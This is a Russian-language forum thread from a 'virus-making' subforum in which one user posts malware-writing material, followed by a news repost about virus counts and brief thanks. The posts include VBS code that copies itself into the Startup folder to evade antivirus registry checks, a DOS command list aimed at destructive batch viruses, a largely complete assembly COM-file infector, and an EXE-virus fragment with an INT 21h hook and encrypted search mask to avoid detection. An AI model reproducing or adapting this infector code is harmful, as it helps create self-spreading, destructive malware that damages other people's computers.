blin.ws

Страница 1 из 11
Модератор форума: Futur 
www.blin.ws » Hi - Tech » Защита и взлом » Вирусмейкинг (Вирусы не скидывать!)
Вирусмейкинг
FankTasticДата: Воскресенье, 02 Сентябрь 2007, 17:17
Группа: Проверенные
Сообщений: 112
Статус: Offline
Недавно прикалоло написать вирус на VBS. Написал простенький такой удаляет всё и вся) (ниже показано только его начало в целях безопасности)))
антивирем не определялся, одна проблема была с автозагрузкой. В основном вирусы чтобы запускаться со стартом ОС лезут в реестр, а это само по себе уже намёк на нехарошее, чем с доблестью пользуеца любой антивирус. Он отслеживает этот процесс и выдаёт предупреждение о том что процесс пытается прописатьса в реестр для последущего автозапуска. Перевернул весь инет, но путнего нечо не нашол. Идея пришла сама сабой.
Есть много способов загружаца, один из способов! Нужно просто скапировать фаил с телом вируса в папку Автозагрузка в C:\Documents and Settings\User\Главное меню\Программы\Автозагрузка. А делается это следующим образом:
Code
Set FileSystemObject = CreateObject("scripting.filesystemobject") ' задание переменных
Set Shell = CreateObject("Wscript.Shell") 'задание переменных
Set F = FileSystemObject.GetFile(WScript.ScriptFullName) 'задание переменных
For Each Folder In Shell.SpecialFolders 'задание переменных на поиск специальных папок в винде
If right(folder,12) = "Автозагрузка" Then 'Поиск специальной папки Автозагрузка
F.Copy(folder&"\maza.exe.vbs")' капирование туда тела файла
end if
next

Насколько я знаю этот алгоритм палит только касперский 7-ой версии более ранние необращают никакова внимания и это не зависит от новизны баз
()zeeДата: Вторник, 11 Сентябрь 2007, 15:39
Группа: Проверенные
Сообщений: 47
Статус: Offline
Так терь надо ждать конца интернета biggrin Однако замутил конкретно)
FankTasticДата: Понедельник, 01 Октябрь 2007, 17:03
Группа: Проверенные
Сообщений: 112
Статус: Offline
нармальна катит главна
FankTasticДата: Вторник, 23 Октябрь 2007, 12:54
Группа: Проверенные
Сообщений: 112
Статус: Offline
Краткий справочник команд DoS, полезных для написания вирусов
Все указанные команды работают как в дос так и Windows
Перенапровление Ввода вывода DOS:
<имя_файла - направить вход из файла (заместо клавиатуры)
>имя_файла -направить выход в фаил (заместо манитора)
Вместо имени файла можно указывать имя логического устройства: NUL, CON и тп.
Внутренние каманды DOS:
Все внутренние каманды содержатся в файле Comand.com. В квадратных скобках [] указываются параметры,
которые могут отсутствовать в команде, а в <> необхадимые параметры.
КОМАНДА: BREAK [параметр]
назначение: Переключение режима контроля за нажатием клавиш Ctrl+c ctrl+Break будет контролироваться только
в процессе выполнения операций ввода вывода с символьными устройствами BREAK ON нажатие клавиш
Ctrl+c ctrl+Break контролируется во время любой операции. Команда пригодится для написания BAT-бомб.

КОМАНДА: DEL [Диск:][путь]<имя файла> [/p]
использование: удаляет файлы с диска.
Можно использовать шаблоны для удаления групп файлов. /p - велит команде запросить потверждение удаления
(обычно используется для проверки вируса на себе) команда не удаляет скрытые, системные и файлы для чтения
(для их удаления предварительно используется команда ATTRIB).

КОМАНДА:REN [диск:][путь]<обьект_1><обьект_2>
назначение: переименовывает файлы и каталоги.
для перемещения на другой диск используют MOVE

КОМАНДА:SET [переменная=[значение]]
назначение: отображает, создаёт, редактирует или удаляет переменные среды DOS
стандартные переменные:
PATH - список каталогов
COMSREC - ядро операционной системы

КОМАНДЫ ПАКЕТНЫХ ФАЙЛОВ
эти каманды могут быть использованы только в пакетных (BAT) файлах.
КОМАНДА: CALL имя_файла [параметры]
нзначение: вызывает из одного пакетного файла другой.Вызываемый приготавлевается на время
исполнения вызываемого пакетного файла.когда вызываемый завершится, вызывающий возобнавляет свою работу
со следущей каманды
КОМАНДА: FOR %%переменная IN (ряд) [do] команда
назначение: повторяет каманду на несколько членоф ряда.
КОМАНДА: IF [NOT] условие команда
назначение:Разрешает выполнение команд после проверки условия.При использовании NOT
выполняется когда условие ложно

ВНЕШНИЕ КОМАНДЫ DOS
КОМАНДА: ATTRIB [опции] [[диск:]имя_файла]
назначение: изменяет атрибуты файла или каталога.
опции:

Code
+(-)а -устонавить(отменить) "архивный"
+(-)н - установить(отменить) "скрытый"
+(-)R - устонавить(отменить "толька для чтения"
+(-)s - устонавить(отменить) "системный"

КОМАНДА: DEBUG [[диск:][путь]имя_файла[параметры]]
назначение: используется для отладки программ, просмотра двоичного содержания файлов
оперативной памяти и тп.

КОМАНДА: FIND [/v] [/I] "строка"
[диск:][путь]имя_файла
назначение: ищет в файлах заданую последовательность символов. (чтобы вирус не заражал сам себя)

КОМАНДА: FORMAT диск: [параметры]
назначение: форматирует диск /q-быстрое форматирование с возможностью востановления
/u-полное форматирование без востановления unformat- команда востановления.
Дальше больше!
Используя эти команды и многие другие(стандартные) можно создать свой оригенальный вирус=)
осталось знать обычные стандартные каманды ДОС и иметь интузиазм с фантазией=)

FankTasticДата: Вторник, 23 Октябрь 2007, 18:58
Группа: Проверенные
Сообщений: 112
Статус: Offline
COM - вирусы
Как начинается распространение вируса
1. Автор разрабатывает вирусную программу . для этой цели
используется язык ассемблера.
2. Исходный текст программы компилируется, и из
него создается исполняемый файл.
Начало работы
Code
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

Директива "assume cs:prg,ds:prg,es:prg,ss:prg" на-
значает все сегментные регистры одному сегменту с
именем PRG,а директива "org 100h" нужна для резер-
вирования места для PSP .
Вирус получает управление
Code
start:     jmp vir                ;Передача управ-
                    ;ления вирусному
                    ;коду ...
org 110h

Команда "jmp vir" передает управление вирусному
коду, а директива "org 110h" указывает компилято-
ру размещать все коды после метки "vir",начиная с
адреса 110h .
Code
vir:       push ds                ;Сохраним DS ...
                    ;Корректируем
mov ax,ds              ;регистр DS  ...
db 05h                 ;Код команды
add_to_ds: dw 0                   ; " ADD AX,00h "
  mov ds,ax              ;AX -> DS   

Восстанавливаем зараженную программу
Пусть вирус хранит ис-
ходные три байта в области "old_bytes".
Code
fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
  mov cs:[102h],al

Запоминаем содержимое DTA
содержимое DTA необходимо сохранить.
Code
mov cx,80h             ;Размер DTA -
                    ;128 байт ...
mov bx,80h             ;Смещение к DTA
lea si,old_dta         ;Адрес массива
save_dta:
mov al,byte ptr cs:[bx];Читаем из DTA
                    ;байт и  перено-
mov ds:[si],al         ;сим его в мас-
                    ;сив ...
inc bx                 ;К новому байту
inc si                 ;
loop save_dta          ;Цикл 128 раз

Ищем подходящий файл
Code
find_first:        mov ah,4eh     ;Поиск первого
                    ;файла ...
mov cx,00100110b       ;archive, system
                    ;hidden
lea dx,maska           ;Маска для поис-
                    ;ка
int 21h
jnc r_3                    ;Нашли !
jmp restore_dta        ;Ошибка !
find_next: mov ah,3eh             ;Закроем  непод-
  int 21h                    ;ходящий файл...
jnc r_2
  jmp restore_dta        ;Файл нельзя за-
                    ;крыть !
r_2:       mov ah,4fh             ;И найдем сле-
int 21h                     ;дующий ...
jnc r_3                    ;Файл найден !
  jmp restore_dta        ;Ошибка !
r_3:       mov cx,12              ;Сотрем в буфере
  lea si,fn              ;"fn" имя  пред-
  destroy_name:                     ;ыдущего файла
  mov byte ptr [si],0    ;
inc si                 ;
loop destroy_name      ;Цикл 12 раз ...
   xor si,si              ;И запишем в бу-
copy_name: mov al,byte ptr cs:[si+9eh]
;фер имя только
cmp al,0               ;что найденного
                    ;файла ...
je open                ;В конце имени в
mov byte ptr ds:fn[si],al
;DTA всегда сто-
inc si                 ;ит ноль, его мы
jmp copy_name          ;и хотим достичь

Имя файла в буфере " fn " необходимо стирать
Читаем исходные три байта
Code
open:      mov ax,3d02h           ;Открыть файл
;для чтения и
;записи ...
  lea dx,fn              ;Имя файла ...
  int 21h                ;
  jnc save_bytes
  jmp restore_dta        ;Файл не откры-
                    ;вается !
save_bytes:                        ;Считаем три
                    ;байта :
mov bx,ax              ;Сохраним дес-
;криптор в BX
mov ah,3fh             ;Номер функции
   mov cx,3               ;Сколько байт ?
  lea dx,old_bytes       ;Буфер для счи-
                    ;тываемых данных
int 21h
jnc found_size
jmp close              ;Ошибка !

Выполняем необходимые расчеты
Code
found_size:
mov ax,cs:[09ah]       ;Найдем размер
;файла
count_size:mov si,ax
  cmp ax,64000           ;Файл длиннее
  ;64000 байт ?
jna toto                    ;Нет ...
jmp find_next          ;Да - тогда он
                    ;нам не подходит
toto:      test ax,000fh          ;Округлим размер
jz krat_16             ;до целого числа
or ax,000fh            ;параграфов    в
inc ax                 ;большую сторону
     krat_16:   mov di,ax              ;И  запишем  ок-
  ;ругленное  зна-
;чение в DI ...
;Расчитаем  сме-
  ;щение для пере-
;хода на код ви-
  ;руса ...
sub ax,3               ;Сама    команда
  ;перехода  зани-
;мает три байта!
mov byte ptr new_bytes[1],al
  ;Смещение найде-
mov byte ptr new_bytes[2],ah
  ;но !
mov ax,di              ;Сколько   пара-
mov cl,4               ;графов содержит
shr ax,cl              ;заражаемая про-
;грамма ?
dec ax                 ;Учитываем дейс-
;твие директивы
                    ;ORG 110h ...
mov byte ptr add_to_ds,al
;Корректирующее
  mov byte ptr add_to_ds+1,ah
  ;число найдено !

Проверяем файл на зараженность
Code
mov ax,4200h           ;Установим ука-
xor cx,cx              ;затель на пос-
dec si                 ;ледний байт
mov dx,si              ;файла ...
int 21h
jnc read_last
jmp close              ;Ошибка !
read_last:                        ;И считаем этот
mov ah,3fh             ;байт в ячейку
  mov cx,1               ; " last " ...
  lea dx,last
int 21h
jc close               ;Ошибка !

cmp last,'7'           ;" last " =" 7 "
jne write_vir          ;Нет - дальше
jmp find_next          ;Да- поищем дру-
  ;гой файл ...

Заражаем COM - программу
Code
write_vir: mov ax,4200h           ;Установим  ука-
xor cx,cx                        ;затель на конец
   mov dx,di                         ;файла ...
  int 21h
  jc close               ;При ошибке -
                    ;закроем файл
mov ah,40h             ;Запишем  в файл
mov cx,vir_len         ;код вируса дли-
lea dx,vir                 ;ной vir_len
int 21h        
jc close               ;При ошибке -
  ;закроем файл
     write_bytes:
mov ax,4200h           ;Установим  ука-
xor cx,cx              ;затель на нача-
xor dx,dx              ;ло файла
  int 21h
  jc close                    ;При ошибке -
  ;закроем файл
mov ah,40h             ;Запишем в  файл
                mov cx,3               ;первые три бай-
                lea dx,new_bytes       ;та ( команду
                int 21h                     ;перехода ) ...
  close:     mov ah,3eh             ;Закроем   зара-
                int 21h               ;женный файл ...

Восстанавливаем DTA
Code
restore_dta:
mov cx,80h             ;Размер DTA -
;128 байт ...
mov bx,80h             ;Смещение к DTA
lea si,old_dta         ;Адрес массива
dta_fresh:
mov al,ds:[si]         ;Читаем из  мас-
;сива "old_dta"
mov byte ptr cs:[bx],al    ;байт и  перено-
  ;сим его в DTA
inc bx                 ;К новому байту
  inc si                 ;
loop dta_fresh         ;Цикл 128 раз

Передаем управление зараженной программе
Code
pop ds                 ;Восстановим
  ;испорченный DS
push cs                ;Занесем в стек
;регистр CS
db 0b8h                ;Код команды
     jump:      dw 100h                ;mov ax,100h
push ax                ;Занесем в стек
;число 100h
retf                   ;Передача управ-
;ления на задан-
;ный адрес ...

Область данных вирусной программы
Code
old_bytes db   0e9h               ;Исходные три
    ;байта  заражен-
dw   vir_len + 0dh                             ;ной программы
old_dta   db   128 dup (0)        ;Здесь вирус
;хранит исходную
;DTA программы
  maska     db   '*.com',0          ;Маска для поис-
;ка файлов ...
  fn        db   12 dup (' '),0     ;Сюда помещается
  ;имя файла -жер-
  ;твы ...
     new_bytes db   0e9h               ;Первые три бай-
db   00h               ;та вируса в
db   00h        ;файле ...
  last      db   0                  ;Ячейка для пос-
;леднего байта
db   '7'                ;Последний байт
;вируса в файле

Завершаем запускающую программу
Code
vir_len   equ   $-vir             ;Длина вирусного
;кода ...
  prg_end:   mov ah,4ch             ;Завершение  за-
INT 21H                ;пускающей прог-
   ;раммы ...
db '7'                  ;Без этого  сим-
;вола вирус  за-
;разил бы сам
;себя ...
      prg ends;Все ASM - прог-
     end start  ;раммы  заканчи-
;ваются примерно
;так .

Материал взят из обычного учебника доступного каждому просто немного упрощён.
тоесть не представляет потенциальной опасности для вашего эвм

напоминаю, что администрация не несёт никакой ответственности за использование
этих данных! Данные можно использовать только для обучения или колекционирования!

авторы:
г. Житомир, 18.08.1998
И. Коваль
По возникшим вопросам вы можете обратиться в эту тему или к автору этой книги .
FankTasticДата: Среда, 24 Октябрь 2007, 13:00
Группа: Проверенные
Сообщений: 112
Статус: Offline
Рассмотрим как с помощью реестра можно навредить недругу=)

Реестр - это база данных
в которой хранится всё о системе и если там что-нибудь удалить,
то комп полетит к чертям. Чтобы попасть в Реестр надо открыть в
меню Пуск => Выполнить и написать в открывшемся окне - RegEdit Реестр делится на разделы:

·HKEY_CLASSES_ROOT в этом разделе хранится информация о расширениях файлов, их ассоциаций, данных OLE.

·HKEY_CURRENT_USER относится к текущему пользователю. Если он единственный, то этот раздел полностью совпадает с HKEY_USERS.

·HKEY_LOCAL_MACHINE хранит информацию о конфигурации аппаратных средств, установленных на компьютере. Подразделы HKEY_LOCAL_MACHINE:

·HKEY_USERS содержит информацию о рабочем столе, параметры сети и сведения о пользователях .

·HKEY_CURRENT_CONFIG здесь информация о шрифтах и принтерах.

·HKEY_DYN_DATA хранят сведенья о производительности компьютера
В реестре древовидная структура папок слева, и параметры с их значениями справа.
Чтобы изменить значение достаточно кликнуть на параметре.
Для того, чтобы на компе у неприятеля удалилось что-нибудь
из реестра надо ввести в текстовое поле путь к записи в реестре,
а для того чтобы задать новое значение или изменить старое нужно
ввести путь к информации и значение, которое вы присваиваете.

Немного о том, что вы можете сделать, изменяя значения в реестре.

Например, классический случай - переименовать корзину.
Это можно сделать очень просто, надо найти папку HKEY_CLASSES_ROOT,
в нем выберите поле CLSID, где найдите ключ {645FF040-5081-101B-9F08-00AA002F954E}.
Щелкнув на ней мышью, вы увидите в правом окне строку Default.
Двойной клик на ней – и переименовывайте корзину(Recycle Bin)
на любое слово или предложение. С помощью этого редактора вирусов
можно изменить это значение программно. Для этого надо перейти в
раздел реестр II и написать путь HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Default ,
а в Значение указать новое название корзины. Так вы можете создать программу,
которая изменяет название корзины. Как видете Редактор Вирусов может использоваться
и в мирных целях. Ещё один пример: можно изменить имя и организацию.
Для этого надо в разделе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ найти параметры RegisteredOwner(имя),
RegisteredOrganization(организация) и исправить на своё усмотрение.
Для владельцев Windows NT только адрес другой: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion.
Вообщем, как вы поняли, у реестра безграничные возможности, и их освоение я доверяю вам.
FankTasticДата: Вторник, 04 Декабрь 2007, 09:06
Группа: Проверенные
Сообщений: 112
Статус: Offline
РАЗРАБОТКА EXE - ВИРУСА
сначала следует найти PSP первой загруженной в память программы .Это можно сде-лать следующим образом :
Code
find_psp:  push es                 
xor di,di              
xor ax,ax
to_new_seg:inc ax
mov es,ax
cmp ax,0ffffh-
jae free_mem           
cmp byte ptr es:[di],4dh
jne to_new_seg          
to_test:mov bx,ax              
add bx,es:[di+3]
inc bx
mov es,bx
cmp byte ptr es:[di],4dh
je  restore_es         
cmp byte ptr es:[di],5ah
jne to_new_seg          
restore_es:mov es,ax
cmp word ptr es:[di+1],0  
je to_new_seg           
mov bx,es
inc bx
cmp es:[di+1],bx
jne to_new_seg
cmp byte ptr es:[di+10h],0cdh   
jne to_new_seg   
mov first_psp,es        
mov cx,es              
dec es_save           
cmp es_save,cx        
jne add_05h           
pop es
jmp fresh_input         
add_05h:add first_psp,05h

PSP располагается в памяти сразу
вслед за MCB - блоком,выделенным операционной сис-
темой для загрузки программы, а первым байтом PSP
должно быть число 0CDh, что и используется в при-
веденном фрагменте.

Пишем промежуточный обработчик
Теперь следует написать " промежуточный " обработ-
чик прерывания INT 21h,который должен вызывать си-
стемный или вирусный обработчики данного прерыва-
ния в зависимости от режима работы процессора

Code
to_bios:   push ax                
push ds                
pushf
xor ax,ax
mov ds,ax
cmp word ptr ds:[0006h],0070h     
jne cs:uuuuu            
popf
pop ds
pop ax
db 0eah                
our_21h_ip dw to_new_21h
our_21h_cs dw 00h
uuuuu:popf
pop ds
pop ax
db 0eah                 
sys_21h_ip dw 00h
sys_21h_cs dw 00h
code_len equ $ - to_bios  

Защита от обнаружения вируса в файле
Нужно только зашифровать маску для поиска EXE - программ ( *.exe ), и вирус
обнаружен не будет.Перед поиском файла - жертвы маска должна быть расшифрована,а в за-
раженном файле присутствовать в зашифрованном виде.
решение этой задачи: маска расшифровывается вирусной копией, на-
ходящейся в памяти, непосредственно перед поиском
EXE-файла,а при записи вирусного кода в файл снова
шифруется. Вряд-ли DOCTOR WEB станет устанавливать
резидентный вирус в память, а потом еще и прове-
рять, как он работает. А при простом просмотре или
даже прохождении зараженной программы отладчиком
можно увидеть только закодированную маску.

Материал взят из обычного учебника доступного каждому просто немного упрощён.
тоесть не представляет потенциальной опасности для вашего эвм

напоминаю, что администрация не несёт никакой ответственности за использование
этих данных! Данные можно использовать только для обучения или колекционирования!

авторы:
г. Житомир,
И. Коваль
По возникшим вопросам вы можете обратиться в эту тему или к автору этой книги .
FankTasticДата: Пятница, 02 Май 2008, 08:31
Группа: Проверенные
Сообщений: 112
Статус: Offline
К 2008 году число вирусов составит 400 000
Эксперты компании McAfee уверены, что в будущем популярность вирусов будет неуклонно снижаться, хотя общее количество вредоносного ПО несомненно будет расти.
Компания McAfee добавила 200 000-ю сигнатуру вируса в антивирусные базы своих продуктов, другие производители вирусов также вплотную подошли к этой отметке. По мнению вирусных аналитиков, в предстоящие два года общее количество вирусов может удвоится и достичь отметки в 400 000 вирусов.

Производители антивирусов отмечают, что в последние годы вирусописатели заметно активизировались и каждый год, начиная с 1998-го, становился рекордным по количеству создаваемых вирусов. Незначительный спад произошел лишь в последние 8-10 месяцев, когда злоумышленники перешли на другие виды противоправного ПО.

На протяжении 1989 - 1998 годов в антивирусные базы различных вендоров в среднем попали около 50 000 вирусов, другие 50 000 оказались в базах всего через три года, с 1998-го по 2002.

Вместе с классическими вирусами аналитики отмечают также рост количества интернет-червей. С 2002 по 2008 годы вирусы появлялись буквально как грибы после дождя, вместе с ними развивались и прочее злонамеренное ПО.

Однако случай с вирусами оказался классическим примером того, что количество и качество - величины обратно пропорциональные. В 2004 году было зафиксировано 48 серьезных вирусных эпидемий в компьютерах пользователей всего мира, в 2005 году их количество снизилось до 12, а с 2006 года пока не зафиксировано ни одной по-настоящему серьезной вирусной эпидемии.

Однако вирусные аналитики не спешат праздновать победу. Несмотря на снижение количества эпидемий, профессиональный рост хакеров все время растет. Сами атаки стали более адресными и, если раньше вирусописатели создавали компьютерную заразу для того, чтобы показать свои навыки, то теперь хакерами движет желание заработка и кражи закрытых данных.

"Сегодня хакеры используют спам и фишинг для проведения своих противозаконных действий", - говорит Джим Куо, вирусный аналитик McAfee Avert Labs. "Когда хакеры создают громкие инциденты, то на это реагируют органы правопорядка и для первых это заканчивается плачевно, а когда применяется метод адресной атаки вероятность шумихи несоизмеримо ниже".

Вместе с тем в большом количестве вирусов присутствует и другая сложность - чем больше вирусов находится в базах, тем больше и неповоротливей становятся антивирусы, особенно если проверяют файлы "на лету".

MusagetДата: Вторник, 06 Май 2008, 17:51
Группа: Проверенные
Сообщений: 87
Статус: Offline
FankTastic, спасибо. Очень познавательно.
FankTasticДата: Среда, 07 Май 2008, 15:38
Группа: Проверенные
Сообщений: 112
Статус: Offline
Musaget, Незачто=) работа такая biggrin
www.blin.ws » Hi - Tech » Защита и взлом » Вирусмейкинг (Вирусы не скидывать!)
Страница 1 из 11
Поиск:

Категории

Софт [179]
Видео [83]

Картинки

Приколы [14]
Девушки [52]
Тачки [16]
Тема Windows [11]
Игры [6]
Разные [62]